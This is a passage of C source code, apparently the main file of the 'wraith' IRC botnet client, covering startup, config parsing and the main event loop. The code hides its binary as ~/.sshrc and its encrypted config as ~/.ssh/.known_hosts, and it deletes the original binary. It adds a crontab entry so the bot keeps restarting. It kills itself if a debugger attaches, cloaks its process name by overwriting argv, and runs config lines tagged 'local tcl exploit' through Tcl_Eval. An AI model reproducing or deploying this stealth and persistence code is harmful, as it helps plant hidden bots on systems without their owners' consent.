  792. if (flock(lockfile, LOCK_EX | LOCK_NB))
  793. exit(1);
  794. }
  795. void got_ed(char *which, char *in, char *out)
  796. {
  797. Context;
  798. sdprintf("got_Ed called: -%s i: %s o: %s", which, in, out);
  799. if (!in || !out)
  800. fatal("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>",0);
  801. checkpass();
  802. check_static("blowfish", blowfish_start);
  803. module_load(ENCMOD);
  804. if (!strcmp(which, "e")) {
  805. EncryptFile(in, out);
  806. fatal("File Encryption complete",3);
  807. } else if (!strcmp(which, "d")) {
  808. DecryptFile(in, out);
  809. fatal("File Decryption complete",3);
  810. }
  811. exit(0);
  812. }
  813. static inline void garbage_collect(void)
  814. {
  815. static u_8bit_t run_cnt = 0;
  816. if (run_cnt == 3)
  817. garbage_collect_tclhash();
  818. else
  819. run_cnt++;
  820. }
  821. int crontab_exists() {
  822. char buf[2048], *out=NULL;
  823. sprintf(buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  824. if (shell_exec(buf, NULL, &out, NULL)) {
  825. if (out && strstr(out, binname)) {
  826. nfree(out);
  827. return 1;
  828. } else {
  829. if (out)
  830. nfree(out);
  831. return 0;
  832. }
  833. } else
  834. return (-1);
  835. }
  836. void crontab_create(int interval) {
  837. char tmpfile[161],
  838. buf[256];
  839. FILE *f;
  840. int fd;
  841. /* always use mkstemp() when handling temp files! -dizz */
  842. sprintf(tmpfile, STR("%s.crontab-XXXXXX"), tempdir);
  843. if ((fd = mkstemp(tmpfile)) == -1) {
  844. unlink(tmpfile);
  845. return;
  846. } else { /* FIXME: is this absolutely necesary? */
  847. unlink(tmpfile);
  848. close(fd);
  849. }
  850. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  851. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  852. buf[0] = 0;
  853. if (interval == 1)
  854. strcpy(buf, "*");
  855. else {
  856. int i = 1;
  857. int si = random() % interval;
  858. while (i < 60) {
  859. if (buf[0])
  860. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  861. else
  862. sprintf(buf, "%i", (i + si) % 60);
  863. i += interval;
  864. }
  865. }
  866. sprintf(buf + strlen(buf), STR(" * * * * %s > /dev/null 2>&1"), binname);
  867. fseek(f, 0, SEEK_END);
  868. fprintf(f, STR("\n%s\n"), buf);
  869. fclose(f);
  870. sprintf(buf, STR("crontab %s"), tmpfile);
  871. shell_exec(buf, NULL, NULL, NULL);
  872. }
  873. unlink(tmpfile);
  874. }
  875. static void check_crontab()
  876. {
  877. int i = 0;
  878. #ifdef LEAF
  879. if (!localhub)
  880. fatal("something is wrong.", 0);
  881. #endif
  882. i=crontab_exists();
  883. if (!i) {
  884. crontab_create(5);
  885. i=crontab_exists();
  886. if (!i)
  887. printf("* Error writing crontab entry.\n");
  888. }
  889. }
  890. #ifdef LEAF
  891. static void gotspawn(char *filename)
  892. {
  893. FILE *fp;
  894. char templine[8192], *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps;
  895. if (!(fp = fopen(filename, "r")))
  896. fatal("Cannot read from local config (2)", 0);
  897. check_static("blowfish", blowfish_start);
  898. module_load(ENCMOD);
  899. while(fscanf(fp,"%[^\n]\n",templine) != EOF)
  900. {
  901. Context;
  902. temps = (char *) decrypt_string(netpass, decryptit(templine));
  903. #ifdef S_PSCLOAK
  904. sdprintf("GOTSPAWN: %s", temps);
  905. #endif /* S_PSCLOAK */
  906. pscloak = atoi(newsplit(&temps));
  907. if (temps[0])
  908. nick = newsplit(&temps);
  909. if (!nick)
  910. fatal("invalid config (2).",0);
  911. if (temps[0])
  912. ip = newsplit(&temps);
  913. if (temps[0])
  914. host = newsplit(&temps);
  915. if (temps[0])
  916. ipsix = newsplit(&temps);
  917. snprintf(origbotname, 10, "%s", nick);
  918. if (ip[1]) {
  919. if (ip[0] == '!') { //natip
  920. ip++;
  921. sprintf(natip,"%s",ip);
  922. } else {
  923. snprintf(myip, 120, "%s", ip);
  924. }
  925. }
  926. if (host && host[1]) {
  927. if (host[0] == '+') { //ip6 host
  928. host++;
  929. sprintf(hostname6,"%s",host);
  930. } else { //normal ip4 host
  931. sprintf(hostname,"%s",host);
  932. }
  933. }
  934. if (ipsix && ipsix[1]) {
  935. snprintf(myip6, 120, "%s", ipsix);
  936. }
  937. }
  938. fclose(fp);
  939. unlink(filename);
  940. }
  941. static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, int cloak)
  942. {
  943. char buf[DIRMAX], bindir[DIRMAX], bufrun[DIRMAX];
  944. FILE *fp;
  945. sprintf(buf, "%s", bin);
  946. sprintf(bindir, "%s", dirname(buf));
  947. sprintf(buf, "%s/.wraith-%s", bindir, nick);
  948. if (!(fp = fopen(buf, "w")))
  949. fatal("Cannot create spawnfiles...", 0);
  950. lfprintf(fp, "%d %s %s %s %s\n", cloak, nick, ip ? ip : ".", host ? host : ".", ipsix ? ipsix : ".");
  951. fflush(fp);
  952. fclose(fp);
  953. sprintf(bufrun, "%s -c %s", bin, buf);
  954. return system(bufrun);
  955. }
  956. #endif
  957. void check_trace_start()
  958. {
  959. #ifdef S_ANTITRACE
  960. int parent = getpid();
  961. int xx = 0, i = 0;
  962. #ifdef __linux__
  963. xx = fork();
  964. if (xx == -1) {
  965. printf(STR("Can't fork process!\n"));
  966. exit(1);
  967. } else if (xx == 0) {
  968. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  969. if (i == (-1) && errno == EPERM) {
  970. kill(parent, SIGKILL);
  971. exit(1);
  972. } else {
  973. waitpid(parent, &i, 0);
  974. kill(parent, SIGCHLD);
  975. ptrace(PTRACE_DETACH, parent, 0, 0);
  976. kill(parent, SIGCHLD);
  977. }
  978. exit(0);
  979. } else {
  980. wait(&i);
  981. }
  982. #endif /* __linux__ */
  983. #ifdef __FreeBSD__
  984. xx = fork();
  985. if (xx == -1) {
  986. printf(STR("Can't fork process!\n"));
  987. exit(1);
  988. } else if (xx == 0) {
  989. i = ptrace(PT_ATTACH, parent, 0, 0);
  990. if (i == (-1) && errno == EBUSY) {
  991. kill(parent, SIGKILL);
  992. exit(1);
  993. } else {
  994. wait(&i);
  995. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  996. kill(parent, SIGCHLD);
  997. wait(&i);
  998. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  999. wait(&i);
  1000. }
  1001. exit(0);
  1002. } else {
  1003. waitpid(xx, NULL, 0);
  1004. }
  1005. #endif /* __FreeBSD__ */
  1006. #ifdef __OpenBSD__
  1007. xx = fork();
  1008. if (xx == -1) {
  1009. printf(STR("Can't fork process!\n"));
  1010. exit(1);
  1011. } else if (xx == 0) {
  1012. i = ptrace(PT_ATTACH, parent, 0, 0);
  1013. if (i == (-1) && errno == EBUSY) {
  1014. kill(parent, SIGKILL);
  1015. exit(1);
  1016. } else {
  1017. wait(&i);
  1018. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1019. kill(parent, SIGCHLD);
  1020. wait(&i);
  1021. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1022. wait(&i);
  1023. }
  1024. exit(0);
  1025. } else {
  1026. waitpid(xx, NULL, 0);
  1027. }
  1028. #endif /* __OpenBSD__ */
  1029. #endif /* S_ANTITRACE */
  1030. }
  1031. int main(int argc, char **argv)
  1032. {
  1033. int xx, i;
  1034. #ifdef LEAF
  1035. int x = 1;
  1036. #endif
  1037. char buf[SGRAB + 9], s[25];
  1038. FILE *f;
  1039. struct sigaction sv;
  1040. struct chanset_t *chan;
  1041. #ifdef LEAF
  1042. int skip = 0;
  1043. FILE *fp;
  1044. struct passwd *pw;
  1045. char newbinbuf[DIRMAX], newbin[DIRMAX], confdir[DIRMAX], tmp[DIRMAX],
  1046. cfile[DIRMAX], templine[8192], *temps;
  1047. int ok = 1;
  1048. #else
  1049. char confdir[DIRMAX], tmp[DIRMAX], cfile[DIRMAX], templine[8192], *temps;
  1050. char tmpdir[DIRMAX];
  1051. #endif
  1052. char c[1024], *vers_n, *unix_n;
  1053. #ifdef HAVE_UNAME
  1054. struct utsname un;
  1055. #endif
  1056. char check[100];
  1057. #ifdef DEBUG_MEM
  1058. /* Make sure it can write core, if you make debug. Else it's pretty
  1059. * useless (dw)
  1060. */
  1061. {
  1062. #include <sys/resource.h>
  1063. struct rlimit cdlim, plim, fdlim, rsslim, stacklim;
  1064. // rsslim.rlim_cur = 30720;
  1065. // rsslim.rlim_max = 30720;
  1066. // setrlimit(RLIMIT_RSS, &rsslim);
  1067. // stacklim.rlim_cur = 30720;
  1068. // stacklim.rlim_max = 30720;
  1069. // setrlimit(RLIMIT_STACK, &stacklim);
  1070. plim.rlim_cur = 50;
  1071. plim.rlim_max = 50;
  1072. setrlimit(RLIMIT_NPROC, &plim);
  1073. fdlim.rlim_cur = 200;
  1074. fdlim.rlim_max = 200;
  1075. //#ifdef __FreeBSD__
  1076. // setrlimit(RLIMIT_OFILE, &fdlim);
  1077. //#else
  1078. setrlimit(RLIMIT_NOFILE, &fdlim);
  1079. //#endif
  1080. cdlim.rlim_cur = RLIM_INFINITY;
  1081. cdlim.rlim_max = RLIM_INFINITY;
  1082. setrlimit(RLIMIT_CORE, &cdlim);
  1083. }
  1084. #endif
  1085. /* Initialise context list */
  1086. for (i = 0; i < 16; i++)
  1087. Context;
  1088. /* Version info! */
  1089. egg_snprintf(ver, sizeof ver, "wraith %s", egg_version);
  1090. egg_snprintf(version, sizeof version, "wraith %s", egg_version);
  1091. /* Now add on the patchlevel (for Tcl) */
  1092. sprintf(&egg_version[strlen(egg_version)], " %u", egg_numver);
  1093. #ifdef STOP_UAC
  1094. {
  1095. int nvpair[2];
  1096. nvpair[0] = SSIN_UACPROC;
  1097. nvpair[1] = UAC_NOPRINT;
  1098. setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
  1099. }
  1100. #endif
  1101. /* Set up error traps: */
  1102. sv.sa_handler = got_bus;
  1103. sigemptyset(&sv.sa_mask);
  1104. #ifdef SA_RESETHAND
  1105. sv.sa_flags = SA_RESETHAND;
  1106. #else
  1107. sv.sa_flags = 0;
  1108. #endif
  1109. sigaction(SIGBUS, &sv, NULL);
  1110. sv.sa_handler = got_segv;
  1111. sigaction(SIGSEGV, &sv, NULL);
  1112. #ifdef SA_RESETHAND
  1113. sv.sa_flags = 0;
  1114. #endif
  1115. sv.sa_handler = got_fpe;
  1116. sigaction(SIGFPE, &sv, NULL);
  1117. sv.sa_handler = got_term;
  1118. sigaction(SIGTERM, &sv, NULL);
  1119. sv.sa_handler = got_stop;
  1120. sigaction(SIGSTOP, &sv, NULL);
  1121. #ifdef S_HIJACKCHECK
  1122. sv.sa_handler = got_cont;
  1123. sigaction(SIGCONT, &sv, NULL);
  1124. #endif
  1125. sv.sa_handler = got_hup;
  1126. sigaction(SIGHUP, &sv, NULL);
  1127. sv.sa_handler = got_quit;
  1128. sigaction(SIGQUIT, &sv, NULL);
  1129. sv.sa_handler = SIG_IGN;
  1130. sigaction(SIGPIPE, &sv, NULL);
  1131. sv.sa_handler = got_ill;
  1132. sigaction(SIGILL, &sv, NULL);
  1133. sv.sa_handler = got_alarm;
  1134. sigaction(SIGALRM, &sv, NULL);
  1135. Context;
  1136. /* Initialize variables and stuff */
  1137. now = time(NULL);
  1138. chanset = NULL;
  1139. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  1140. lastmin = nowtm.tm_min;
  1141. srandom(now % (getpid() + getppid()));
  1142. init_mem();
  1143. myuid = geteuid();
  1144. binname = getfullbinname(argv[0]);
  1145. check_trace_start();
  1146. if (!can_stat(binname))
  1147. werr(ERR_BINSTAT);
  1148. if (!fixmod(binname))
  1149. werr(ERR_BINMOD);
  1150. init_settings();
  1151. init_tcl(argc, argv);
  1152. if (argc) {
  1153. sdprintf("Calling dtx_arg with %d params.", argc);
  1154. dtx_arg(argc, argv);
  1155. }
  1156. #ifdef LEAF
  1157. sdprintf("my uid: %d my uuid: %d, my ppid: %d my pid: %d", getuid(), geteuid(), getppid(), getpid());
  1158. Context;
  1159. pw = getpwuid(geteuid());
  1160. if (!pw)
  1161. werr(ERR_PASSWD);
  1162. chdir(pw->pw_dir);
  1163. snprintf(newbin, sizeof newbin, "%s/.sshrc", pw->pw_dir);
  1164. snprintf(confdir, sizeof confdir, "%s/.ssh", pw->pw_dir);
  1165. snprintf(tempdir, sizeof tempdir, "%s/...", confdir);
  1166. #endif /* LEAF */
  1167. #ifdef HUB
  1168. snprintf(tmpdir, sizeof tmpdir, "%s", binname);
  1169. snprintf(confdir, sizeof confdir, "%s", dirname(tmpdir));
  1170. snprintf(tempdir, sizeof tempdir, "%s/tmp", confdir);
  1171. #endif /* HUB */
  1172. #ifdef LEAF
  1173. /* is the homedir a symlink? */
  1174. sdprintf("newbin starts at: %s", newbin);
  1175. /* fuck it, I hate dealing with this shit.
  1176. if (!can_stat(newbin)) {
  1177. int f = 0;
  1178. if (ss.st_mode & S_IFLNK) { //stupid symlinked home dirs !
  1179. f = readlink(newbin, newbinbuf, sizeof newbinbuf);
  1180. if (!f) {
  1181. sdprintf("symlink newbin: %s", newbin);
  1182. strcpy(newbin, newbinbuf);
  1183. sdprintf("newbin is now: %s", newbin);
  1184. } else {
  1185. sdprintf("readlink failed on %s with error %d erno %d", newbin, f, errno);
  1186. //fuck it. (no paths)
  1187. sprintf(newbin, ".sshrc");
  1188. copyfile(binname, newbin);
  1189. skip = 1;
  1190. }
  1191. }
  1192. }
  1193. sdprintf(STR("skip is: %d"), skip);
  1194. */
  1195. if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
  1196. sdprintf("wrong dir, is: %s :: %s", binname, newbin);
  1197. unlink(newbin);
  1198. if (copyfile(binname,newbin))
  1199. ok = 0;
  1200. if (ok)
  1201. if (!can_stat(newbin)) {
  1202. unlink(newbin);
  1203. ok = 0;
  1204. }
  1205. if (ok)
  1206. if (!fixmod(newbin)) {
  1207. unlink(newbin);
  1208. ok = 0;
  1209. }
  1210. if (!ok)
  1211. werr(ERR_WRONGBINDIR);
  1212. else {
  1213. unlink(binname);
  1214. if (system(newbin)) {
  1215. sdprintf(STR("exiting due to problem with restarting new binary."));
  1216. exit(1);
  1217. } else {
  1218. sdprintf(STR("exiting to let new binary run.\n"));
  1219. exit(0); //This is to spawn the new binary in the correct place.
  1220. }
  1221. }
  1222. }
  1223. // Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config...
  1224. #endif /* LEAF */
  1225. snprintf(tmp, sizeof tmp, "%s/", confdir);
  1226. if (!can_stat(tmp)) {
  1227. #ifdef LEAF
  1228. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1229. unlink(confdir);
  1230. if (!can_stat(confdir))
  1231. if (mkdir(confdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1232. #endif /* LEAF */
  1233. werr(ERR_CONFSTAT);
  1234. #ifdef LEAF
  1235. }
  1236. #endif /* LEAF */
  1237. }
  1238. snprintf(tmp, sizeof tmp, "%s/", tempdir);
  1239. if (!can_stat(tmp)) {
  1240. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1241. unlink(tempdir);
  1242. if (!can_stat(tempdir))
  1243. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1244. werr(ERR_TMPSTAT);
  1245. }
  1246. }
  1247. if (!fixmod(confdir))
  1248. werr(ERR_CONFDIRMOD);
  1249. if (!fixmod(tempdir))
  1250. werr(ERR_TMPMOD);
  1251. //The config dir is accessable with correct permissions, lets read/write/create config file now..
  1252. #ifdef LEAF
  1253. snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir);
  1254. #else
  1255. snprintf(cfile, sizeof cfile, "%s/conf", confdir);
  1256. #endif /* LEAF */
  1257. if (!can_stat(cfile))
  1258. werr(ERR_NOCONF);
  1259. if (!fixmod(cfile))
  1260. werr(ERR_CONFMOD);
  1261. Context;
  1262. init_dcc_max();
  1263. init_userent();
  1264. init_misc();
  1265. init_bots();
  1266. init_net();
  1267. init_modules();
  1268. init_userrec();
  1269. if (backgrd)
  1270. bg_prepare_split();
  1271. init_botcmd();
  1272. link_statics();
  1273. module_load(ENCMOD);
  1274. #ifdef LEAF
  1275. if (localhub) { //we only want to read the config if we are the spawn bot..
  1276. #endif /* LEAF */
  1277. #ifdef HAVE_UNAME
  1278. if (uname(&un) < 0) {
  1279. #endif /* HAVE_UNAME */
  1280. unix_n = "*unkown*";
  1281. vers_n = "";
  1282. #ifdef HAVE_UNAME
  1283. } else {
  1284. unix_n = un.nodename;
  1285. #ifdef __FreeBSD__
  1286. vers_n = un.release;
  1287. #else
  1288. vers_n = un.version;
  1289. #endif /* __FreeBSD__ */
  1290. }
  1291. #endif /* HAVE_UNAME */
  1292. i = 0;
  1293. if (!(f = fopen(cfile, "r")))
  1294. werr(0);
  1295. Context;
  1296. while(fscanf(f,"%[^\n]\n",templine) != EOF) {
  1297. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
  1298. int skip = 0;
  1299. if (templine[0] != '+') {
  1300. printf(STR("%d: "), i);
  1301. werr(ERR_CONFBADENC);
  1302. }
  1303. temps = (char *) decrypt_string(netpass, decryptit(templine));
  1304. if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
  1305. printf(STR("%d: "), i);
  1306. werr(ERR_CONFBADENC);
  1307. }
  1308. snprintf(c, sizeof c, "%s",temps);
  1309. if (c[0] == '*')
  1310. skip = 1;
  1311. else if (c[0] == '-' && !skip) { //this is the uid
  1312. newsplit(&temps);
  1313. if (geteuid() != atoi(temps)) {
  1314. sdprintf("wrong uid, conf: %d :: %d", atoi(temps), geteuid());
  1315. werr(ERR_WRONGUID);
  1316. }
  1317. } else if (c[0] == '+' && !skip) { //this is the uname
  1318. int r = 0;
  1319. newsplit(&temps);
  1320. snprintf(check, sizeof check, "%s %s", unix_n, vers_n);
  1321. if ((r = strcmp(temps, check))) {
  1322. sdprintf("wrong uname, conf: %s :: %s", check, temps);
  1323. werr(ERR_WRONGUNAME);
  1324. }
  1325. } else if (c[0] == '!') { //local tcl exploit
  1326. if (c[1] == '-') { //dont use pscloak
  1327. #ifdef S_PSCLOAK
  1328. sdprintf("NOT CLOAKING");
  1329. #endif /* S_PSCLOAK */
  1330. pscloak = 0;
  1331. } else {
  1332. newsplit(&temps);
  1333. Tcl_Eval(interp, temps);
  1334. }
  1335. } else if (c[0] != '#') { //now to parse nick/hosts
  1336. //we have the right uname/uid, safe to setup crontab now.
  1337. i++;
  1338. nick = newsplit(&temps);
  1339. if (!nick || !nick[0])
  1340. werr(ERR_BADCONF);
  1341. sdprintf("Read nick from config: %s", nick);
  1342. if (temps[0])
  1343. ip = newsplit(&temps);
  1344. if (temps[0])
  1345. host = newsplit(&temps);
  1346. if (temps[0])
  1347. ipsix = newsplit(&temps);
  1348. if (i == 1) { //this is the first bot ran/parsed
  1349. strncpyz(s, ctime(&now), sizeof s);
  1350. strcpy(&s[11], &s[20]);
  1351. printf("--- Loading %s (%s)\n\n", ver, s);
  1352. if (ip && ip[0] == '!') { //natip
  1353. ip++;
  1354. sprintf(natip, "%s",ip);
  1355. } else {
  1356. if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
  1357. snprintf(myip, 120, "%s", ip);
  1358. }
  1359. snprintf(origbotname, 10, "%s", nick);
  1360. #ifdef HUB
  1361. sprintf(userfile, "%s/.%s.user", confdir, nick);
  1362. #endif /* HUB */
  1363. /* log sprintf(logfile, "%s/.%s.log", confdir, nick); */
  1364. if (host && host[1]) { //only copy host if it is longer than 1 char (.)
  1365. if (host[0] == '+') { //ip6 host
  1366. host++;
  1367. sprintf(hostname6, "%s",host);
  1368. } else //normal ip4 host
  1369. sprintf(hostname, "%s",host);
  1370. }
  1371. if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
  1372. snprintf(myip6, 120, "%s",ipsix);
  1373. }
  1374. }
  1375. #ifdef LEAF
  1376. else { //these are the rest of the bots..
  1377. char buf2[DIRMAX];
  1378. xx = 0, x = 0, errno = 0;
  1379. s[0] = '\0';
  1380. /* first let's determine if the bot is already running or not.. */
  1381. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, nick);
  1382. fp = fopen(buf2, "r");
  1383. if (fp != NULL) {
  1384. fgets(s, 10, fp);
  1385. fclose(fp);
  1386. xx = atoi(s);
  1387. if (updating) {
  1388. x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
  1389. unlink(buf2);
  1390. }
  1391. kill(xx, SIGCHLD);
  1392. if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
  1393. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1394. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1395. }
  1396. } else {
  1397. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1398. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1399. }
  1400. }
  1401. #endif /* LEAF */
  1402. } // if read in[0] != #
  1403. temps = 0;
  1404. }
  1405. fclose(f);
  1406. #ifdef LEAF
  1407. if (updating)
  1408. exit(0); //let the 5 min timer restart us.
  1409. } // (localhub)
  1410. #endif /* LEAF */
  1411. module_load("dns");
  1412. module_load("channels");
  1413. #ifdef LEAF
  1414. module_load("server");
  1415. module_load("irc");
  1416. #endif /* LEAF */
  1417. module_load("transfer");
  1418. module_load("share");
  1419. module_load("update");
  1420. module_load("notes");
  1421. module_load("console");
  1422. module_load("ctcp");
  1423. module_load("compress");
  1424. chanprog();
  1425. #ifdef LEAF
  1426. if (localhub) {
  1427. sdprintf("I am localhub (%s)", origbotname);
  1428. #endif /* LEAF */
  1429. check_crontab();
  1430. #ifdef LEAF
  1431. }
  1432. #endif
  1433. if (!encrypt_pass) {
  1434. printf(MOD_NOCRYPT);
  1435. bg_send_quit(BG_ABORT);
  1436. exit(1);
  1437. }
  1438. //temp
  1439. cache_miss = 0;
  1440. cache_hit = 0;
  1441. if (!pid_file[0])
  1442. egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
  1443. f = fopen(pid_file, "r");
  1444. if ((localhub && !updating) || !localhub) {
  1445. if (f != NULL) {
  1446. fgets(s, 10, f);
  1447. xx = atoi(s);
  1448. kill(xx, SIGCHLD);
  1449. if (errno != ESRCH) { //!= is PID is running.
  1450. bg_send_quit(BG_ABORT);
  1451. exit(1);
  1452. }
  1453. }
  1454. }
  1455. #ifdef LEAF
  1456. #ifdef S_PSCLOAK
  1457. if (pscloak) {
  1458. int on = 0;
  1459. strncpy(argv[0],progname(),strlen(argv[0]));
  1460. //this clears all the params..
  1461. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1462. }
  1463. #endif /* PSCLOAK */
  1464. #endif /* LEAF */
  1465. i = 0;
  1466. for (chan = chanset; chan; chan = chan->next)
  1467. i++;
  1468. putlog(LOG_MISC, "*", "=== %s: %d channels, %d users.",
  1469. botnetnick, i, count_users(userlist));
  1470. /* Move into background? */
  1471. if (backgrd) {
  1472. #ifndef CYGWIN_HACKS
  1473. bg_do_split();
  1474. } else { /* !backgrd */
  1475. #endif /* CYGWIN_HACKS */
  1476. xx = getpid();
  1477. if (xx != 0) {
  1478. FILE *fp;
  1479. /* Write pid to file */
  1480. unlink(pid_file);
  1481. fp = fopen(pid_file, "w");
  1482. if (fp != NULL) {
  1483. fprintf(fp, "%u\n", xx);
  1484. if (fflush(fp)) {
  1485. /* Let the bot live since this doesn't appear to be a botchk */
  1486. printf(EGG_NOWRITE, pid_file);
  1487. fclose(fp);
  1488. unlink(pid_file);
  1489. } else
  1490. fclose(fp);
  1491. } else
  1492. printf(EGG_NOWRITE, pid_file);
  1493. #ifdef CYGWIN_HACKS
  1494. printf("Launched into the background (pid: %d)\n\n", xx);
  1495. #endif /* CYGWIN_HACKS */
  1496. }
  1497. }
  1498. use_stderr = 0; /* Stop writing to stderr now */
  1499. if (backgrd) {
  1500. /* Ok, try to disassociate from controlling terminal (finger cross) */
  1501. #if HAVE_SETPGID && !defined(CYGWIN_HACKS)
  1502. setpgid(0, 0);
  1503. #endif
  1504. /* Tcl wants the stdin, stdout and stderr file handles kept open. */
  1505. freopen("/dev/null", "r", stdin);
  1506. freopen("/dev/null", "w", stdout);
  1507. freopen("/dev/null", "w", stderr);
  1508. #ifdef CYGWIN_HACKS
  1509. FreeConsole();
  1510. #endif /* CYGWIN_HACKS */
  1511. }
  1512. /* Terminal emulating dcc chat */
  1513. if (!backgrd && term_z) {
  1514. int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
  1515. dcc[n].addr = iptolong(getmyip());
  1516. dcc[n].sock = STDOUT;
  1517. dcc[n].timeval = now;
  1518. dcc[n].u.chat->con_flags = conmask;
  1519. dcc[n].u.chat->strip_flags = STRIP_ALL;
  1520. dcc[n].status = STAT_ECHO;
  1521. strcpy(dcc[n].nick, "HQ");
  1522. strcpy(dcc[n].host, "llama@console");
  1523. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1524. /* Make sure there's an innocuous HQ user if needed */
  1525. if (!dcc[n].user) {
  1526. userlist = adduser(userlist, "HQ", "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
  1527. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1528. }
  1529. setsock(STDOUT, 0); /* Entry in net table */
  1530. dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
  1531. dcc_chatter(n);
  1532. }
  1533. then = now;
  1534. online_since = now;
  1535. autolink_cycle(NULL); /* Hurry and connect to tandem bots */
  1536. add_hook(HOOK_SECONDLY, (Function) core_secondly);
  1537. add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
  1538. add_hook(HOOK_MINUTELY, (Function) core_minutely);
  1539. add_hook(HOOK_HOURLY, (Function) core_hourly);
  1540. add_hook(HOOK_REHASH, (Function) event_rehash);
  1541. add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
  1542. add_hook(HOOK_USERFILE, (Function) event_save);
  1543. #ifdef HUB
  1544. add_hook(HOOK_BACKUP, (Function) backup_userfile);
  1545. #endif /* HUB */
  1546. add_hook(HOOK_DAILY, (Function) event_resettraffic);
  1547. add_hook(HOOK_LOADED, (Function) event_loaded);
  1548. call_hook(HOOK_LOADED);
  1549. debug0("main: entering loop");
  1550. while (1) {
  1551. int socket_cleanup = 0;
  1552. #if !defined(HAVE_PRE7_5_TCL)
  1553. /* Process a single tcl event */
  1554. Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
  1555. #endif
  1556. /* Lets move some of this here, reducing the numer of actual
  1557. * calls to periodic_timers
  1558. */
  1559. now = time(NULL);
  1560. random(); /* Woop, lets really jumble things */
  1561. if (now != then) { /* Once a second */
  1562. call_hook(HOOK_SECONDLY);
  1563. then = now;
  1564. }
  1565. /* Only do this every so often. */
  1566. if (!socket_cleanup) {
  1567. socket_cleanup = 5;
  1568. /* Remove dead dcc entries. */
  1569. dcc_remove_lost();
  1570. /* Check for server or dcc activity. */
  1571. dequeue_sockets();
  1572. } else
  1573. socket_cleanup--;
  1574. /* Free unused structures. */
  1575. garbage_collect();
  1576. xx = sockgets(buf, &i);
  1577. if (xx >= 0) { /* Non-error */
  1578. int idx;
  1579. for (idx = 0; idx < dcc_total; idx++)
  1580. if (dcc[idx].sock == xx) {
  1581. if (dcc[idx].type && dcc[idx].type->activity) {
  1582. /* Traffic stats */
  1583. if (dcc[idx].type->name) {
  1584. if (!strncmp(dcc[idx].type->name, "BOT", 3))
  1585. itraffic_bn_today += strlen(buf) + 1;
  1586. else if (!strcmp(dcc[idx].type->name, "SERVER"))
  1587. itraffic_irc_today += strlen(buf) + 1;
  1588. else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
  1589. itraffic_dcc_today += strlen(buf) + 1;
  1590. else if (!strncmp(dcc[idx].type->name, "FILES", 5))
  1591. itraffic_dcc_today += strlen(buf) + 1;
  1592. else if (!strcmp(dcc[idx].type->name, "SEND"))
  1593. itraffic_trans_today += strlen(buf) + 1;
  1594. else if (!strncmp(dcc[idx].type->name, "GET", 3))
  1595. itraffic_trans_today += strlen(buf) + 1;
  1596. else
  1597. itraffic_unknown_today += strlen(buf) + 1;
  1598. }
  1599. dcc[idx].type->activity(idx, buf, i);
  1600. } else
  1601. putlog(LOG_MISC, "*",
  1602. "!!! untrapped dcc activity: type %s, sock %d",
  1603. dcc[idx].type->name, dcc[idx].sock);
  1604. break;
  1605. }
  1606. } else if (xx == -1) { /* EOF from someone */
  1607. int idx;
  1608. if (i == STDOUT && !backgrd)
  1609. fatal("END OF FILE ON TERMINAL", 0);
  1610. for (idx = 0; idx < dcc_total; idx++)
  1611. if (dcc[idx].sock == i) {
  1612. if (dcc[idx].type && dcc[idx].type->eof)
  1613. dcc[idx].type->eof(idx);
  1614. else {
  1615. putlog(LOG_MISC, "*",
  1616. "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
  1617. i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
  1618. killsock(i);
  1619. lostdcc(idx);
  1620. }
  1621. idx = dcc_total + 1;
  1622. }
  1623. if (idx == dcc_total) {
  1624. putlog(LOG_MISC, "*",
  1625. "(@) EOF socket %d, not a dcc socket, not anything.", i);
  1626. close(i);
